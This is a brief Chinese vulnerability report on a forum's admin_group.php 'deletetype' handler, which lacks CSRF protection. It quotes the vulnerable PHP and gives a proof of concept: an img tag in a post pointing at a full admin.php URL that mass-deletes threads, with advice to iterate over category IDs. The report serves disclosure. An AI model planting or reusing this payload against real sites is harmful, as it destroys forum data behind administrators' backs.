### 简要描述:
### 详细说明:
admin_group.php
```
} elseif($operation == 'deletetype') {//没有验证fromhash导致可以csrf删除
	$fid = $_GET['fid'];
	$ajax = $_GET['ajax'];
	$confirmed = $_GET['confirmed'];
	$finished = $_GET['finished'];
	$total = intval($_GET['total']);
	$pp = intval($_GET['pp']);
	$currow = intval($_GET['currow']);
	if($ajax) {
		ob_end_clean();
		require_once libfile('function/post');
		$tids = array();
		foreach(C::t('forum_thread')->fetch_all_by_fid($fid, $pp) as $thread) {
			$tids[] = $thread['tid'];
		}
		require_once libfile('function/delete');
		deletethread($tids);//这里便直接删除了
```
 
### 漏洞证明:
开启群组功能之后
发帖添加一个img标签 图片志向
http://127.0.0.1/x32/admin.php?action=group&operation=deletetype&fid=11&confirmed=1&ajax=1&pp=2000&total=0&currow=0
其中的fid便是分类的id 可以遍历一下 即可删除所有分组 
                      
                    
                  
                
              
             
        
          
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